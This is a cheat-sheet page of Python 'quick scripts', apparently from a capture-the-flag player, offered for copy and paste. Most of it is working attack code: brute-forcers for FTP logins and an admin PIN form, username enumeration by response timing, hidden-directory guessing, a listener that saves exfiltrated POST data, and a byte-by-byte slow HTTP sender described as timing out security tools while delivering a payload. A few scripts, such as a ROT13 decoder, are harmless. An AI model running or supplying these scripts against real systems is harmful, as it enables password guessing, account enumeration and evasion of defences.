Examples and Quick Scripts

This is a page of quick wins and scripts written to achieve certain goals. Copy/paste parts as needed!

Python

FTP Brute Force

Brute forces all passwords from words.txt for the username secure_usertry/except loop.

from ftplib import FTP
import time

ftp = FTP()
HOST = 'services.ftp.site'
PORT = 2121
ftp.set_debuglevel(2)


dictionary = 'words.txt'
password = None

with open(dictionary, 'r') as f:
  for line in f.readlines():
    password = line.strip('\n')
    print('trying ' + password)
    time.sleep(0.001)
    try:
      ftp.connect(HOST, PORT)
      ftp.login(user='secure_user', passwd=password)
      ftp.quit()
    except:
      pass
print(password)

RC4 Brute Force

ARC4 brute forcing script written to try and decrypt a string. The decryption attempt is passed to another loop to try and determine if the string is readable ASCII or not. I chose not to pause or quit the loop because I was getting some false positives.

from arc4 import ARC4

cipher = b'\x55\x34\xe1\xb2\x17\xdc\x2a\xc5\x21\x26\x77\xe3\xae\x56\xed\x42\xc3\x28\x10\x40\x0a\xfc\xa2\x1d\xef\xab\x11\x1b\xc7'

with open("big_set.txt", "r") as keys:
        for line in keys:
                line = line.strip()
                arc4 = ARC4(bytes(line, 'utf-8'))
                new = arc4.decrypt(cipher)
                try:
                        decoder = bytes.fromhex(new.hex()).decode('utf-8')
                        print("Key " + line + " made this:\n" + decoder)
                except UnicodeDecodeError:
                        pass

Zip File Brute Force Guess with B64 Password

This script will attempt to unzip an archive with a password from rockyou. This particular challenge said the password was base64 encoded, which is what the first part of the loop is for. Second part of loop is a try/except loop to pass the unzip error with wrong password.

Alternatively, one could get the zip hash then convert the rockyou list into base64 for each line - I chose to NOT do this to prevent having an extra rockyou file full of base64.

import base64
import zipfile

dictionary = '/mnt/d/hashcat-6.0.0/rockyou.txt'

with open(dictionary, 'r', errors='ignore') as f:
    for line in f.readlines():
        password = line.strip('\n')
        #print(f'Raw password is {password}')
        encoded = base64.b64encode(str.encode(password))
        #print(f'Encoded password is {encoded}')

        with zipfile.ZipFile('./base64.zip','r') as zip_ref:
            try:
                zip_ref.extractall(pwd=encoded)
                print(f'Found! Password is {password}, encoded is {encoded}!')
                quit()
            except:
                pass

Connect to a Website, Establish Session, and Send Data

Establishing a session prevents multiple TCP connections from having to be opened. Additionally, taking the JSON and interpreting natively makes things useful!

import requests
import json
url = 'https://captcha.lol'

header = {'User-Agent':'bot'}
s = requests.Session()
r = s.get(url,headers=header)

ans = json.loads(r.text)

code = ans['code']
nonce = ans['nonce']
print(code)
print(nonce)
p = s.post(url, json=ans, headers=header)

print(p.text)

PIN Brute Force for Web Login

This script adds a pin guess for a web login attempt. The pin is zfilled which makes 4 to 004. Additionally there’s a regular expression to find if access was denied or not and give what the PIN was while breaking out of the loop. A final print statement lets me know that they were all looped through, useful when I wasn't sure if my requests were properly formatted.

import urllib
import requests
import re

url = "https://vuln.server/admin_login"

pin = 0

while pin < 1000:
    #headers = {'Cookie' : 'PHPSESSID=qhq84atma883hio9eso7hhsr4j'}
    payload = {'email':'sysadmin@vuln.server','password':str(pin).zfill(3)}
    req = requests.post(url, data=payload, allow_redirects=True)
    if not re.findall('Access Denied', req.text):
        print(f'\npin is {str(pin).zfill(3)}!\n')
        break
    print(str(pin).zfill(3), req.status_code, len(req.content))
    pin = pin + 1

print('finished testing')

Username Guessing based on Timing Analysis

This script pays attention to the timing between good usernames and bad ones to help determine if a username is valid.

import requests
from string import ascii_lowercase
with open('surnames.txt') as f:
    lines = f.read().splitlines()
for lname in lines:
    for init in ascii_lowercase:
        username = init+lname
        r = requests.post('http://m4lwhere.org/login.php', data = {'user':username,'pass':'haha'})
        roundtrip = r.elapsed.total_seconds()
        print(f'{roundtrip} for {username}')

Connect to Raw Socket and Pass Data

This challenge required connecting to the socket and brute forcing the first byte back, I didn’t fully finish this challenge because it was a little frustrating. I need to spend more time on this script.

import socket                                                       
                                                                    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)               
s.connect(('cfta-ne01.allyourbases.co',8017))                       
buf = s.recv(1024)                                                  
s.recv(1024)                                                        
conv = buf.decode('unicode-escape').encode('latin1').decode('UTF-8')
conv = conv + '\n'                                                  
print(conv)                                                         
s.sendall(bytes(conv, encoding='UTF-8'))                            
ans = s.recv(1024)                                                  
win = ans.decode('unicode-escape').encode('latin1').decode('UTF-8') 
print(win)                                                          
s.close() 
import socket
import time

def connect():
    s.connect(('challenges.ctf.lol',3008))

def recv():
    recv = s.recv(1024)
    print(recv)

for i in range(ord('A'),ord('z')+1):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print(f'trying {chr(i)}')
    s.connect(('challenges.ctf.lol',30468))
    recv = s.recv(1024)
    print(recv)
    s.sendall(bytes(chr(i), encoding='utf8'))
    recv = s.recv(1024)
    print(recv)
    s.close()

ROT13 Automatic Decoder

Written by Jess! Automatically finds the decoded input using the enchant library. Searches for legitimate words in the English dictionary, very cool!

import enchant
d = enchant.Dict("en_US")

cipher=input("Enter Caesar Shift Cipher to Decode: ")
for n in range(26):
    decode=""
    wordfound=""
    for x in range(0,len(cipher)):
        if ord(cipher[x]) in range(97,123):
            decode+=(chr(((ord(cipher[x])-96+n)%26)+97))
        elif ord(cipher[x]) in range(65,91):
            decode+=(chr(((ord(cipher[x])-64+n)%26)+65))
        elif ord(cipher[x])==(32):
            checkword=d.check(decode)
            if checkword:
                wordfound=("Found!")
            decode+=cipher[x]
        else:
            decode+=cipher[x]
    check=d.check(decode)
    print((n+1),decode,wordfound)

Choose Random Numbers

This program chooses some random integers and assigns them to a string. Nothing fancy.

import random

series = random.randint(1,3)

book = random.randint(1,6)

page = random.randint(1,300)

print(f'Series {series}, Book {book}, Page {page}\n\n')

List of all Characters from aa to zz :

Quick way to create a list of all possible lowercase values

from string import ascii_lowercase
for a in ascii_lowercase:
    for b in ascii_lowercase:
        print(a+b)

Below is brute forcing all lowercase characters to find a hidden web dir

import requests
from string import ascii_lowercase

url = 'http://m4lwhere.org/'

for a in ascii_lowercase:
    for b in ascii_lowercase:
        for c in ascii_lowercase:
            #print(a+b+c)
            fullUrl = url + a + b + c
            r = requests.get(fullUrl)
            if r.status_code != 404:
                print(f'Code {r.status_code} for {fullUrl}')
            else:
                pass

Same one, just with a progress bar!

import requests
from progress.bar import Bar
from string import ascii_lowercase

url = 'http://m4lwhere.org/'

with Bar('Brute Forcing...', max=26*26*26-1) as bar:
    for a in ascii_lowercase:
        for b in ascii_lowercase:
            for c in ascii_lowercase:
                #print(a+b+c)
                fullUrl = url + a + b + c
                r = requests.get(fullUrl)
                if r.status_code != 404:
                    print(f'\nCode {r.status_code} for {fullUrl}')
                else:
                    bar.next()
                    pass

Receive POST in Python

This uses to receive large items sent via POST

PORT = 8000

from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, world!')
 
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        self.send_response(200)
        self.end_headers()
        decoded = body.decode('utf-8')
        print('[+] Received: ')
        print(decoded)
        f = open('/tmp/exfil.txt', 'w')
        f.write(decoded)
 
with HTTPServer(('localhost', PORT), SimpleHTTPRequestHandler) as httpd:
  print("[+] Running Server at", PORT, "Saving Files in /tmp/exfil.txt" )
  httpd.serve_forever()

#Run it:  python3 post.py

Async HTTP Requests

These types of requests can try to time out various security tools by intentionally taking a very slow time to deliver a payload.

import asyncio, urllib.parse, sys
from time import sleep


async def print_http_headers(url):
    # Get our URL parts together
    url = urllib.parse.urlsplit(url)

    # Determine if HTTPS or not
    if url.scheme == 'https':
        reader, writer = await asyncio.open_connection(
            url.hostname, 443, ssl=True)
    else:
        reader, writer = await asyncio.open_connection(
            url.hostname, 80)

    """
    # Below is for a GET request to prove our async pipeline works as intended
    # Commented out to send exploit
    #####
    query = [
        f"GET {url.path or '/'} HTTP/1.1\r\n",
        f"Host: {url.hostname}\r\n",
        f"\r\n"
        ]
    """

    # Our exploit, this payload is json
    payload = '{"username":"m4lwhere","password":"lmao"}'

    # Build the HTTP request
    query = [
        f"POST {url.path or '/'} HTTP/1.1\r\n",
        f"Host: {url.hostname}\r\n",
        f"Content-Length: {len(payload)}\r\n",
        f"Content-Type: application/json\r\n",
        f"\r\n"
        ]
    
    # Send the headers with only 1 second between each one
    for i in query:
        print(i) # Let us see what's being sent as it happens
        sleep(1)
        writer.write(i.encode('latin-1'))

    # Now time to send our exploit 
    print("sending payload...")

    # Split the payload into individual bytes instead of a whole string
    for i in payload:
        print(i)
        sleep(0.5) # Wait half a second before sending each byte
        writer.write(i.encode('latin-1')) # Send byte as its placed into writer

    # Now we wait for a response
    while True:
        line = await reader.readline()
        if not line:
            break

        line = line.decode('latin1').rstrip()
        if line:
            print(f'{line}')

    # close the socket
    writer.close()

# Pass the website in as an ARGV value
url = sys.argv[1]
asyncio.run(print_http_headers(url))
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